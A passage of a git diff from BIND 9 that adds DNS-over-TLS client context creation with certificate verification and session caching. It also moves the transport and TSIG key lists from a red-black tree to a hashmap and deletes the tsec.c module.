+	INSIST(tlsname != NULL && *tlsname != '\0');
+
+	/*
+	 * Let's try to re-use the already created context. This way
+	 * we have a chance to resume the TLS session, bypassing the
+	 * full TLS handshake procedure, making establishing
+	 * subsequent TLS connections faster.
+	 */
+	result = isc_tlsctx_cache_find(tlsctx_cache, tlsname,
+				       isc_tlsctx_cache_tls, family, &found,
+				       &found_store, &found_sess_cache);
+	if (result != ISC_R_SUCCESS) {
+		const char *hostname =
+			dns_transport_get_remote_hostname(transport);
+		const char *ca_file = dns_transport_get_cafile(transport);
+		const char *cert_file = dns_transport_get_certfile(transport);
+		const char *key_file = dns_transport_get_keyfile(transport);
+		const bool always_verify_remote =
+			dns_transport_get_always_verify_remote(transport);
+		char peer_addr_str[INET6_ADDRSTRLEN] = { 0 };
+		isc_netaddr_t peer_netaddr = { 0 };
+		bool hostname_ignore_subject;
+
+		/*
+		 * So, no context exists. Let's create one using the
+		 * parameters from the configuration file and try to
+		 * store it for further reuse.
+		 */
+		result = isc_tlsctx_createclient(&tlsctx);
+		if (result != ISC_R_SUCCESS) {
+			goto failure;
+		}
+		tls_versions = dns_transport_get_tls_versions(transport);
+		if (tls_versions != 0) {
+			isc_tlsctx_set_protocols(tlsctx, tls_versions);
+		}
+		ciphers = dns_transport_get_ciphers(transport);
+		if (ciphers != NULL) {
+			isc_tlsctx_set_cipherlist(tlsctx, ciphers);
+		}
+
+		if (dns_transport_get_prefer_server_ciphers(
+			    transport, &prefer_server_ciphers))
+		{
+			isc_tlsctx_prefer_server_ciphers(tlsctx,
+							 prefer_server_ciphers);
+		}
+
+		if (always_verify_remote || hostname != NULL || ca_file != NULL)
+		{
+			/*
+			 * The situation when 'found_store != NULL' while
+			 * 'found == NULL' may occur as there is a one-to-many
+			 * relation between cert stores and per-transport TLS
+			 * contexts. That is, there could be one store
+			 * shared between multiple contexts.
+			 */
+			if (found_store == NULL) {
+				/*
+				 * 'ca_file' can equal 'NULL' here, in
+				 * which case the store with system-wide
+				 * CA certificates will be created.
+				 */
+				result = isc_tls_cert_store_create(ca_file,
+								   &store);
+
+				if (result != ISC_R_SUCCESS) {
+					goto failure;
+				}
+			} else {
+				store = found_store;
+			}
+
+			INSIST(store != NULL);
+			if (hostname == NULL) {
+				/*
+				 * If hostname is not specified, then use the
+				 * peer IP address for validation.
+				 */
+				isc_netaddr_fromsockaddr(&peer_netaddr, peer);
+				isc_netaddr_format(&peer_netaddr, peer_addr_str,
+						   sizeof(peer_addr_str));
+				hostname = peer_addr_str;
+			}
+
+			/*
+			 * According to RFC 8310, Subject field MUST NOT
+			 * be inspected when verifying hostname for DoT.
+			 * Only SubjectAltName must be checked.
+			 */
+			hostname_ignore_subject = true;
+			result = isc_tlsctx_enable_peer_verification(
+				tlsctx, false, store, hostname,
+				hostname_ignore_subject);
+			if (result != ISC_R_SUCCESS) {
+				goto failure;
+			}
+
+			/*
+			 * Let's load client certificate and enable
+			 * Mutual TLS. We do that only in the case when
+			 * Strict TLS is enabled, because Mutual TLS is
+			 * an extension of it.
+			 */
+			if (cert_file != NULL) {
+				INSIST(key_file != NULL);
+
+				result = isc_tlsctx_load_certificate(
+					tlsctx, key_file, cert_file);
+				if (result != ISC_R_SUCCESS) {
+					goto failure;
+				}
+			}
+		}
+
+		isc_tlsctx_enable_dot_client_alpn(tlsctx);
+
+		isc_tlsctx_client_session_cache_create(
+			mctx, tlsctx,
+			ISC_TLSCTX_CLIENT_SESSION_CACHE_DEFAULT_SIZE,
+			&sess_cache);
+
+		found_store = NULL;
+		result = isc_tlsctx_cache_add(tlsctx_cache, tlsname,
+					      isc_tlsctx_cache_tls, family,
+					      tlsctx, store, sess_cache, &found,
+					      &found_store, &found_sess_cache);
+		if (result == ISC_R_EXISTS) {
+			/*
+			 * It seems the entry has just been created from
+			 * within another thread while we were initialising
+			 * ours. Although this is unlikely, it could happen
+			 * after startup/re-initialisation. In such a case,
+			 * discard the new context and associated data and use
+			 * the already established one from now on.
+			 *
+			 * Such situation will not occur after the
+			 * initial 'warm-up', so it is not critical
+			 * performance-wise.
+			 */
+			INSIST(found != NULL);
+			isc_tlsctx_free(&tlsctx);
+			isc_tls_cert_store_free(&store);
+			isc_tlsctx_client_session_cache_detach(&sess_cache);
+			/* Let's return the data from the cache. */
+			*psess_cache = found_sess_cache;
+			*pctx = found;
+		} else {
+			/*
+			 * Adding the fresh values into the cache has been
+			 * successful, let's return them
+			 */
+			INSIST(result == ISC_R_SUCCESS);
+			*psess_cache = sess_cache;
+			*pctx = tlsctx;
+		}
+	} else {
+		/*
+		 * The cache lookup has been successful, let's return the
+		 * results.
+		 */
+		INSIST(result == ISC_R_SUCCESS);
+		*psess_cache = found_sess_cache;
+		*pctx = found;
+	}
+
+	return (ISC_R_SUCCESS);
+
+failure:
+	if (tlsctx != NULL) {
+		isc_tlsctx_free(&tlsctx);
+	}
+
+	/*
+	 * The 'found_store' is being managed by the TLS context
+	 * cache. Thus, we should keep it as it is, as it will get
+	 * destroyed alongside the cache. As there is one store per
+	 * multiple TLS contexts, we need to handle store deletion in a
+	 * special way.
+	 */
+	if (store != NULL && store != found_store) {
+		isc_tls_cert_store_free(&store);
+	}
+
+	return (result);
+}
+
 static void
 transport_destroy(dns_transport_t *transport) {
 	isc_refcount_destroy(&transport->references);
@@ -220,8 +570,8 @@ transport_destroy(dns_transport_t *transport) {
 	if (transport->doh.endpoint != NULL) {
 		isc_mem_free(transport->mctx, transport->doh.endpoint);
 	}
-	if (transport->tls.hostname != NULL) {
-		isc_mem_free(transport->mctx, transport->tls.hostname);
+	if (transport->tls.remote_hostname != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.remote_hostname);
 	}
 	if (transport->tls.cafile != NULL) {
 		isc_mem_free(transport->mctx, transport->tls.cafile);
@@ -232,6 +582,13 @@ transport_destroy(dns_transport_t *transport) {
 	if (transport->tls.certfile != NULL) {
 		isc_mem_free(transport->mctx, transport->tls.certfile);
 	}
+	if (transport->tls.ciphers != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.ciphers);
+	}
+
+	if (transport->tls.tlsname != NULL) {
+		isc_mem_free(transport->mctx, transport->tls.tlsname);
+	}
 
 	isc_mem_putanddetach(&transport->mctx, transport, sizeof(*transport));
 }
@@ -266,15 +623,16 @@ dns_transport_find(const dns_transport_type_t type, const dns_name_t *name,
 		   dns_transport_list_t *list) {
 	isc_result_t result;
 	dns_transport_t *transport = NULL;
-	dns_rbt_t *rbt = NULL;
+	isc_hashmap_t *hm = NULL;
 
 	REQUIRE(VALID_TRANSPORT_LIST(list));
 	REQUIRE(list->transports[type] != NULL);
 
-	rbt = list->transports[type];
+	hm = list->transports[type];
 
 	RWLOCK(&list->lock, isc_rwlocktype_read);
-	result = dns_rbt_findname(rbt, name, 0, NULL, (void *)&transport);
+	result = isc_hashmap_find(hm, NULL, name->ndata, name->length,
+				  (void **)&transport);
 	if (result == ISC_R_SUCCESS) {
 		isc_refcount_increment(&transport->references);
 	}
@@ -289,7 +647,7 @@ dns_transport_list_new(isc_mem_t *mctx) {
 
 	*list = (dns_transport_list_t){ 0 };
 
-	isc_rwlock_init(&list->lock, 0, 0);
+	isc_rwlock_init(&list->lock);
 
 	isc_mem_attach(mctx, &list->mctx);
 	isc_refcount_init(&list->references, 1);
@@ -297,10 +655,8 @@ dns_transport_list_new(isc_mem_t *mctx) {
 	list->magic = TRANSPORT_LIST_MAGIC;
 
 	for (size_t type = 0; type < DNS_TRANSPORT_COUNT; type++) {
-		isc_result_t result;
-		result = dns_rbt_create(list->mctx, free_dns_transport, NULL,
-					&list->transports[type]);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		isc_hashmap_create(list->mctx, 10, ISC_HASHMAP_CASE_INSENSITIVE,
+				   &list->transports[type]);
 	}
 
 	return (list);
@@ -323,9 +679,24 @@ transport_list_destroy(dns_transport_list_t *list) {
 	list->magic = 0;
 
 	for (size_t type = 0; type < DNS_TRANSPORT_COUNT; type++) {
-		if (list->transports[type] != NULL) {
-			dns_rbt_destroy(&list->transports[type]);
+		isc_result_t result;
+		isc_hashmap_iter_t *it = NULL;
+
+		if (list->transports[type] == NULL) {
+			continue;
+		}
+
+		isc_hashmap_iter_create(list->transports[type], &it);
+		for (result = isc_hashmap_iter_first(it);
+		     result == ISC_R_SUCCESS;
+		     result = isc_hashmap_iter_delcurrent_next(it))
+		{
+			dns_transport_t *transport = NULL;
+			isc_hashmap_iter_current(it, (void **)&transport);
+			dns_transport_detach(&transport);
 		}
+		isc_hashmap_iter_destroy(&it);
+		isc_hashmap_destroy(&list->transports[type]);
 	}
 	isc_rwlock_destroy(&list->lock);
 	isc_mem_putanddetach(&list->mctx, list, sizeof(*list));
diff --git a/lib/dns/tsec.c b/lib/dns/tsec.c
deleted file mode 100644
index 4501801dfd..0000000000
--- a/lib/dns/tsec.c
+++ /dev/null
@@ -1,152 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <isc/mem.h>
-#include <isc/util.h>
-
-#include <pk11/site.h>
-
-#include <dns/result.h>
-#include <dns/tsec.h>
-#include <dns/tsig.h>
-
-#include <dst/dst.h>
-
-#define DNS_TSEC_MAGIC	  ISC_MAGIC('T', 's', 'e', 'c')
-#define DNS_TSEC_VALID(t) ISC_MAGIC_VALID(t, DNS_TSEC_MAGIC)
-
-/*%
- * DNS Transaction Security object.  We assume this is not shared by
- * multiple threads, and so the structure does not contain a lock.
- */
-struct dns_tsec {
-	unsigned int magic;
-	dns_tsectype_t type;
-	isc_mem_t *mctx;
-	union {
-		dns_tsigkey_t *tsigkey;
-		dst_key_t *key;
-	} ukey;
-};
-
-isc_result_t
-dns_tsec_create(isc_mem_t *mctx, dns_tsectype_t type, dst_key_t *key,
-		dns_tsec_t **tsecp) {
-	isc_result_t result;
-	dns_tsec_t *tsec;
-	dns_tsigkey_t *tsigkey = NULL;
-	const dns_name_t *algname;
-
-	REQUIRE(mctx != NULL);
-	REQUIRE(tsecp != NULL && *tsecp == NULL);
-
-	tsec = isc_mem_get(mctx, sizeof(*tsec));
-
-	tsec->type = type;
-	tsec->mctx = mctx;
-
-	switch (type) {
-	case dns_tsectype_tsig:
-		switch (dst_key_alg(key)) {
-		case DST_ALG_HMACMD5:
-			algname = dns_tsig_hmacmd5_name;
-			break;
-		case DST_ALG_HMACSHA1:
-			algname = dns_tsig_hmacsha1_name;
-			break;
-		case DST_ALG_HMACSHA224:
-			algname = dns_tsig_hmacsha224_name;
-			break;
-		case DST_ALG_HMACSHA256:
-			algname = dns_tsig_hmacsha256_name;
-			break;
-		case DST_ALG_HMACSHA384:
-			algname = dns_tsig_hmacsha384_name;
-			break;
-		case DST_ALG_HMACSHA512:
-			algname = dns_tsig_hmacsha512_name;
-			break;
-		default:
-			isc_mem_put(mctx, tsec, sizeof(*tsec));
-			return (DNS_R_BADALG);
-		}
-		result = dns_tsigkey_createfromkey(dst_key_name(key), algname,
-						   key, false, NULL, 0, 0, mctx,
-						   NULL, &tsigkey);
-		if (result != ISC_R_SUCCESS) {
-			isc_mem_put(mctx, tsec, sizeof(*tsec));
-			return (result);
-		}
-		tsec->ukey.tsigkey = tsigkey;
-		break;
-	case dns_tsectype_sig0:
-		tsec->ukey.key = key;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	tsec->magic = DNS_TSEC_MAGIC;
-
-	*tsecp = tsec;
-	return (ISC_R_SUCCESS);
-}
-
-void
-dns_tsec_destroy(dns_tsec_t **tsecp) {
-	dns_tsec_t *tsec;
-
-	REQUIRE(tsecp != NULL && *tsecp != NULL);
-	tsec = *tsecp;
-	*tsecp = NULL;
-	REQUIRE(DNS_TSEC_VALID(tsec));
-
-	switch (tsec->type) {
-	case dns_tsectype_tsig:
-		dns_tsigkey_detach(&tsec->ukey.tsigkey);
-		break;
-	case dns_tsectype_sig0:
-		dst_key_free(&tsec->ukey.key);
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	tsec->magic = 0;
-	isc_mem_put(tsec->mctx, tsec, sizeof(*tsec));
-}
-
-dns_tsectype_t
-dns_tsec_gettype(dns_tsec_t *tsec) {
-	REQUIRE(DNS_TSEC_VALID(tsec));
-
-	return (tsec->type);
-}
-
-void
-dns_tsec_getkey(dns_tsec_t *tsec, void *keyp) {
-	REQUIRE(DNS_TSEC_VALID(tsec));
-	REQUIRE(keyp != NULL);
-
-	switch (tsec->type) {
-	case dns_tsectype_tsig:
-		dns_tsigkey_attach(tsec->ukey.tsigkey, (dns_tsigkey_t **)keyp);
-		break;
-	case dns_tsectype_sig0:
-		*(dst_key_t **)keyp = tsec->ukey.key;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-}
diff --git a/lib/dns/tsig.c b/lib/dns/tsig.c
index 1a6c729b1b..fbefeb3ba4 100644
--- a/lib/dns/tsig.c
+++ b/lib/dns/tsig.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,38 +18,32 @@
 #include <stdlib.h>
 
 #include <isc/buffer.h>
+#include <isc/hashmap.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/serial.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/string.h>
 #include <isc/time.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/fixedname.h>
 #include <dns/keyvalues.h>
 #include <dns/log.h>
 #include <dns/message.h>
-#include <dns/rbt.h>
 #include <dns/rdata.h>
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
 #include <dns/tsig.h>
 
-#include <dst/result.h>
-
 #include "tsig_p.h"
 
-#define TSIG_MAGIC	  ISC_MAGIC('T', 'S', 'I', 'G')
-#define VALID_TSIG_KEY(x) ISC_MAGIC_VALID(x, TSIG_MAGIC)
+#define TSIGKEYRING_MAGIC    ISC_MAGIC('T', 'K', 'R', 'g')
+#define VALID_TSIGKEYRING(x) ISC_MAGIC_VALID(x, TSIGKEYRING_MAGIC)
 
-#ifndef DNS_TSIG_MAXGENERATEDKEYS
-#define DNS_TSIG_MAXGENERATEDKEYS 4096
-#endif /* ifndef DNS_TSIG_MAXGENERATEDKEYS */
+#define TSIG_MAGIC	 ISC_MAGIC('T', 'S', 'I', 'G')
+#define VALID_TSIGKEY(x) ISC_MAGIC_VALID(x, TSIG_MAGIC)
 
 #define is_response(msg) ((msg->flags & DNS_MESSAGEFLAG_QR) != 0)
 
@@ -58,60 +54,49 @@ static unsigned char hmacmd5_offsets[] = { 0, 9, 17, 21, 25 };
 
 static dns_name_t const hmacmd5 = DNS_NAME_INITABSOLUTE(hmacmd5_ndata,
 							hmacmd5_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_tsig_hmacmd5_name = &hmacmd5;
+const dns_name_t *dns_tsig_hmacmd5_name = &hmacmd5;
 
 static unsigned char gsstsig_ndata[] = "\010gss-tsig";
 static unsigned char gsstsig_offsets[] = { 0, 9 };
 static dns_name_t const gsstsig = DNS_NAME_INITABSOLUTE(gsstsig_ndata,
 							gsstsig_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_tsig_gssapi_name = &gsstsig;
-
-/*
- * Since Microsoft doesn't follow its own standard, we will use this
- * alternate name as a second guess.
- */
-static unsigned char gsstsigms_ndata[] = "\003gss\011microsoft\003com";
-static unsigned char gsstsigms_offsets[] = { 0, 4, 14, 18 };
-static dns_name_t const gsstsigms = DNS_NAME_INITABSOLUTE(gsstsigms_ndata,
-							  gsstsigms_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_tsig_gssapims_name = &gsstsigms;
+const dns_name_t *dns_tsig_gssapi_name = &gsstsig;
 
 static unsigned char hmacsha1_ndata[] = "\011hmac-sha1";
 static unsigned char hmacsha1_offsets[] = { 0, 10 };
 static dns_name_t const hmacsha1 = DNS_NAME_INITABSOLUTE(hmacsha1_ndata,
 							 hmacsha1_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_tsig_hmacsha1_name = &hmacsha1;
+const dns_name_t *dns_tsig_hmacsha1_name = &hmacsha1;
 
 static unsigned char hmacsha224_ndata[] = "\013hmac-sha224";
 static unsigned char hmacsha224_offsets[] = { 0, 12 };
 static dns_name_t const hmacsha224 = DNS_NAME_INITABSOLUTE(hmacsha224_ndata,
 							   hmacsha224_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_tsig_hmacsha224_name = &hmacsha224;
+const dns_name_t *dns_tsig_hmacsha224_name = &hmacsha224;
 
 static unsigned char hmacsha256_ndata[] = "\013hmac-sha256";
 static unsigned char hmacsha256_offsets[] = { 0, 12 };
 static dns_name_t const hmacsha256 = DNS_NAME_INITABSOLUTE(hmacsha256_ndata,
 							   hmacsha256_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_tsig_hmacsha256_name = &hmacsha256;
+const dns_name_t *dns_tsig_hmacsha256_name = &hmacsha256;
 
 static unsigned char hmacsha384_ndata[] = "\013hmac-sha384";
 static unsigned char hmacsha384_offsets[] = { 0, 12 };
 static dns_name_t const hmacsha384 = DNS_NAME_INITABSOLUTE(hmacsha384_ndata,
 							   hmacsha384_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_tsig_hmacsha384_name = &hmacsha384;
+const dns_name_t *dns_tsig_hmacsha384_name = &hmacsha384;
 
 static unsigned char hmacsha512_ndata[] = "\013hmac-sha512";
 static unsigned char hmacsha512_offsets[] = { 0, 12 };
 static dns_name_t const hmacsha512 = DNS_NAME_INITABSOLUTE(hmacsha512_ndata,
 							   hmacsha512_offsets);
-LIBDNS_EXTERNAL_DATA const dns_name_t *dns_tsig_hmacsha512_name = &hmacsha512;
+const dns_name_t *dns_tsig_hmacsha512_name = &hmacsha512;
 
 static const struct {
 	const dns_name_t *name;
 	unsigned int dstalg;
 } known_algs[] = { { &hmacmd5, DST_ALG_HMACMD5 },
 		   { &gsstsig, DST_ALG_GSSAPI },
-		   { &gsstsigms, DST_ALG_GSSAPI },
 		   { &hmacsha1, DST_ALG_HMACSHA1 },
 		   { &hmacsha224, DST_ALG_HMACSHA224 },
 		   { &hmacsha256, DST_ALG_HMACSHA256 },
@@ -125,11 +110,6 @@ static void
 tsig_log(dns_tsigkey_t *key, int level, const char *fmt, ...)
 	ISC_FORMAT_PRINTF(3, 4);
 
-static void
-cleanup_ring(dns_tsig_keyring_t *ring);
-static void
-tsigkey_free(dns_tsigkey_t *key);
-
 bool
 dns__tsig_algvalid(unsigned int alg) {
 	return (alg == DST_ALG_HMACMD5 || alg == DST_ALG_HMACSHA1 ||
@@ -148,12 +128,12 @@ tsig_log(dns_tsigkey_t *key, int level, const char *fmt, ...) {
 		return;
 	}
 	if (key != NULL) {
-		dns_name_format(&key->name, namestr, sizeof(namestr));
+		dns_name_format(key->name, namestr, sizeof(namestr));
 	} else {
 		strlcpy(namestr, "<null>", sizeof(namestr));
 	}
 
-	if (key != NULL && key->generated && key->creator) {
+	if (key != NULL && key->generated && key->creator != NULL) {
 		dns_name_format(key->creator, creatorstr, sizeof(creatorstr));
 	} else {
 		strlcpy(creatorstr, "<null>", sizeof(creatorstr));
@@ -175,12 +155,25 @@ tsig_log(dns_tsigkey_t *key, int level, const char *fmt, ...) {
 }
 
 static void
-remove_fromring(dns_tsigkey_t *tkey) {
-	if (tkey->generated) {
+rm_hashmap(dns_tsigkey_t *tkey) {
+	REQUIRE(VALID_TSIGKEY(tkey));
+	REQUIRE(VALID_TSIGKEYRING(tkey->ring));
+
+	(void)isc_hashmap_delete(tkey->ring->keys, NULL, tkey->name->ndata,
+				 tkey->name->length);
+	dns_tsigkey_detach(&tkey);
+}
+
+static void
+rm_lru(dns_tsigkey_t *tkey) {
+	REQUIRE(VALID_TSIGKEY(tkey));
+	REQUIRE(VALID_TSIGKEYRING(tkey->ring));
+
+	if (tkey->generated && ISC_LINK_LINKED(tkey, link)) {
 		ISC_LIST_UNLINK(tkey->ring->lru, tkey, link);
 		tkey->ring->generated--;
+		dns_tsigkey_unref(tkey);
 	}
-	(void)dns_rbt_deletename(tkey->ring->keys, &tkey->name, false);
 }
 
 static void
@@ -200,138 +193,85 @@ adjust_lru(dns_tsigkey_t *tkey) {
 	}
 }
 
-/*
- * A supplemental routine just to add a key to ring.  Note that reference
- * counter should be counted separately because we may be adding the key
- * as part of creation of the key, in which case the reference counter was
- * already initialized.  Also note we don't need RWLOCK for the reference
- * counter: it's protected by a separate lock.
- */
-static isc_result_t
-keyring_add(dns_tsig_keyring_t *ring, const dns_name_t *name,
-	    dns_tsigkey_t *tkey) {
-	isc_result_t result;
-
-	RWLOCK(&ring->lock, isc_rwlocktype_write);
-	ring->writecount++;
-
-	/*
-	 * Do on the fly cleaning.  Find some nodes we might not
-	 * want around any more.
-	 */
-	if (ring->writecount > 10) {
-		cleanup_ring(ring);
-		ring->writecount = 0;
-	}
-
-	result = dns_rbt_addname(ring->keys, name, tkey);
-	if (result == ISC_R_SUCCESS && tkey->generated) {
-		/*
-		 * Add the new key to the LRU list and remove the least
-		 * recently used key if there are too many keys on the list.
-		 */
-		ISC_LIST_APPEND(ring->lru, tkey, link);
-		if (ring->generated++ > ring->maxgenerated) {
-			remove_fromring(ISC_LIST_HEAD(ring->lru));
-		}
+static const dns_name_t *
+namefromalg(dst_algorithm_t alg) {
+	switch (alg) {
+	case DST_ALG_HMACMD5:
+		return (dns_tsig_hmacmd5_name);
+	case DST_ALG_HMACSHA1:
+		return (dns_tsig_hmacsha1_name);
+	case DST_ALG_HMACSHA224:
+		return (dns_tsig_hmacsha224_name);
+	case DST_ALG_HMACSHA256:
+		return (dns_tsig_hmacsha256_name);
+	case DST_ALG_HMACSHA384:
+		return (dns_tsig_hmacsha384_name);
+	case DST_ALG_HMACSHA512:
+		return (dns_tsig_hmacsha512_name);
+	case DST_ALG_GSSAPI:
+		return (dns_tsig_gssapi_name);
+	default:
+		return (NULL);
 	}
-	RWUNLOCK(&ring->lock, isc_rwlocktype_write);
-
-	return (result);
 }
 
 isc_result_t
-dns_tsigkey_createfromkey(const dns_name_t *name, const dns_name_t *algorithm,
-			  dst_key_t *dstkey, bool generated,
+dns_tsigkey_createfromkey(const dns_name_t *name, dst_algorithm_t algorithm,
+			  dst_key_t *dstkey, bool generated, bool restored,
 			  const dns_name_t *creator, isc_stdtime_t inception,
 			  isc_stdtime_t expire, isc_mem_t *mctx,
-			  dns_tsig_keyring_t *ring, dns_tsigkey_t **key) {
-	dns_tsigkey_t *tkey;
-	isc_result_t ret;
-	unsigned int refs = 0;
-	unsigned int dstalg = 0;
+			  dns_tsigkey_t **keyp) {
+	dns_tsigkey_t *tkey = NULL;
+	isc_result_t result;
 
-	REQUIRE(key == NULL || *key == NULL);
+	REQUIRE(keyp != NULL && *keyp == NULL);
 	REQUIRE(name != NULL);
-	REQUIRE(algorithm != NULL);
 	REQUIRE(mctx != NULL);
-	REQUIRE(key != NULL || ring != NULL);
 
 	tkey = isc_mem_get(mctx, sizeof(dns_tsigkey_t));
-
-	dns_name_init(&tkey->name, NULL);
-	dns_name_dup(name, mctx, &tkey->name);
-	(void)dns_name_downcase(&tkey->name, &tkey->name, NULL);
-
-	/* Check against known algorithm names */
-	dstalg = dns__tsig_algfromname(algorithm);
-	if (dstalg != 0) {
-		/*
-		 * 'algorithm' must be set to a static pointer
-		 * so that dns__tsig_algallocated() can compare them.
-		 */
-		tkey->algorithm = dns__tsig_algnamefromname(algorithm);
-		if (dstkey != NULL && dst_key_alg(dstkey) != dstalg) {
-			ret = DNS_R_BADALG;
+	*tkey = (dns_tsigkey_t){
+		.generated = generated,
+		.restored = restored,
+		.inception = inception,
+		.expire = expire,
+		.link = ISC_LINK_INITIALIZER,
+	};
+
+	tkey->name = dns_fixedname_initname(&tkey->fn);
+	dns_name_copy(name, tkey->name);
+	(void)dns_name_downcase(tkey->name, tkey->name, NULL);
+
+	if (algorithm != DST_ALG_UNKNOWN) {
+		if (dstkey != NULL && dst_key_alg(dstkey) != algorithm) {
+			result = DNS_R_BADALG;
 			goto cleanup_name;
 		}
-	} else {
-		dns_name_t *tmpname;
-		if (dstkey != NULL) {
-			ret = DNS_R_BADALG;
-			goto cleanup_name;
-		}
-		tmpname = isc_mem_get(mctx, sizeof(dns_name_t));
-		dns_name_init(tmpname, NULL);
-		dns_name_dup(algorithm, mctx, tmpname);
-		(void)dns_name_downcase(tmpname, tmpname, NULL);
-		tkey->algorithm = tmpname;
+	} else if (dstkey != NULL) {
+		result = DNS_R_BADALG;
+		goto cleanup_name;
 	}
 
+	tkey->algorithm = namefromalg(algorithm);
+
 	if (creator != NULL) {
 		tkey->creator = isc_mem_get(mctx, sizeof(dns_name_t));
 		dns_name_init(tkey->creator, NULL);
 		dns_name_dup(creator, mctx, tkey->creator);
-	} else {
-		tkey->creator = NULL;
 	}
 
-	tkey->key = NULL;
 	if (dstkey != NULL) {
 		dst_key_attach(dstkey, &tkey->key);
 	}
-	tkey->ring = ring;
 
-	if (key != NULL) {
-		refs = 1;
-	}
-	if (ring != NULL) {
-		refs++;
-	}
-
-	isc_refcount_init(&tkey->refs, refs);
-
-	tkey->generated = generated;
-	tkey->inception = inception;
-	tkey->expire = expire;
-	tkey->mctx = NULL;
+	isc_refcount_init(&tkey->references, 1);
 	isc_mem_attach(mctx, &tkey->mctx);
-	ISC_LINK_INIT(tkey, link);
-
-	tkey->magic = TSIG_MAGIC;
-
-	if (ring != NULL) {
-		ret = keyring_add(ring, name, tkey);
-		if (ret != ISC_R_SUCCESS) {
-			goto cleanup_refs;
-		}
-	}
 
 	/*
 	 * Ignore this if it's a GSS key, since the key size is meaningless.
 	 */
 	if (dstkey != NULL && dst_key_size(dstkey) < 64 &&
-	    dstalg != DST_ALG_GSSAPI) {
+	    algorithm != DST_ALG_GSSAPI)
+	{
 		char namestr[DNS_NAME_FORMATSIZE];
 		dns_name_format(name, namestr, sizeof(namestr));
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC,
@@ -340,159 +280,73 @@ dns_tsigkey_createfromkey(const dns_name_t *name, const dns_name_t *algorithm,
 			      namestr);
 	}
 
-	if (key != NULL) {
-		*key = tkey;
+	tkey->magic = TSIG_MAGIC;
+
+	if (tkey->restored) {
+		tsig_log(tkey, ISC_LOG_DEBUG(3), "restored from file");
+	} else if (tkey->generated) {
+		tsig_log(tkey, ISC_LOG_DEBUG(3), "generated");
+	} else {
+		tsig_log(tkey, ISC_LOG_DEBUG(3), "statically configured");
 	}
 
+	SET_IF_NOT_NULL(keyp, tkey);
 	return (ISC_R_SUCCESS);
 
-cleanup_refs:
-	tkey->magic = 0;
-	while (refs-- > 0) {
-		isc_refcount_decrement0(&tkey->refs);
-	}
-	isc_refcount_destroy(&tkey->refs);
-
-	if (tkey->key != NULL) {
-		dst_key_free(&tkey->key);
-	}
-	if (tkey->creator != NULL) {
-		dns_name_free(tkey->creator, mctx);
-		isc_mem_put(mctx, tkey->creator, sizeof(dns_name_t));
-	}
-	if (dns__tsig_algallocated(tkey->algorithm)) {
-		dns_name_t *tmpname;
-		DE_CONST(tkey->algorithm, tmpname);
-		if (dns_name_dynamic(tmpname)) {
-			dns_name_free(tmpname, mctx);
-		}
-		isc_mem_put(mctx, tmpname, sizeof(dns_name_t));
-	}
 cleanup_name:
-	dns_name_free(&tkey->name, mctx);
 	isc_mem_put(mctx, tkey, sizeof(dns_tsigkey_t));
 
-	return (ret);
+	return (result);
 }
 
-/*
- * Find a few nodes to destroy if possible.
- */
 static void
-cleanup_ring(dns_tsig_keyring_t *ring) {
+destroyring(dns_tsigkeyring_t *ring) {
 	isc_result_t result;
-	dns_rbtnodechain_t chain;
-	dns_name_t foundname;
-	dns_fixedname_t fixedorigin;
-	dns_name_t *origin;
-	isc_stdtime_t now;
-	dns_rbtnode_t *node;
-	dns_tsigkey_t *tkey;
+	isc_hashmap_iter_t *it = NULL;
 
-	/*
-	 * Start up a new iterator each time.
-	 */
-	isc_stdtime_get(&now);
-	dns_name_init(&foundname, NULL);
-	origin = dns_fixedname_initname(&fixedorigin);
-
-again:
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, ring->keys, &foundname, origin);
-	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-		dns_rbtnodechain_invalidate(&chain);
-		return;
+	RWLOCK(&ring->lock, isc_rwlocktype_write);
+	isc_hashmap_iter_create(ring->keys, &it);
+	for (result = isc_hashmap_iter_first(it); result == ISC_R_SUCCESS;
+	     result = isc_hashmap_iter_delcurrent_next(it))
+	{
+		dns_tsigkey_t *tkey = NULL;
+		isc_hashmap_iter_current(it, (void **)&tkey);
+		rm_lru(tkey);
+		dns_tsigkey_detach(&tkey);
 	}
+	isc_hashmap_iter_destroy(&it);
+	isc_hashmap_destroy(&ring->keys);
+	RWUNLOCK(&ring->lock, isc_rwlocktype_write);
 
-	for (;;) {
-		node = NULL;
-		dns_rbtnodechain_current(&chain, &foundname, origin, &node);
-		tkey = node->data;
-		if (tkey != NULL) {
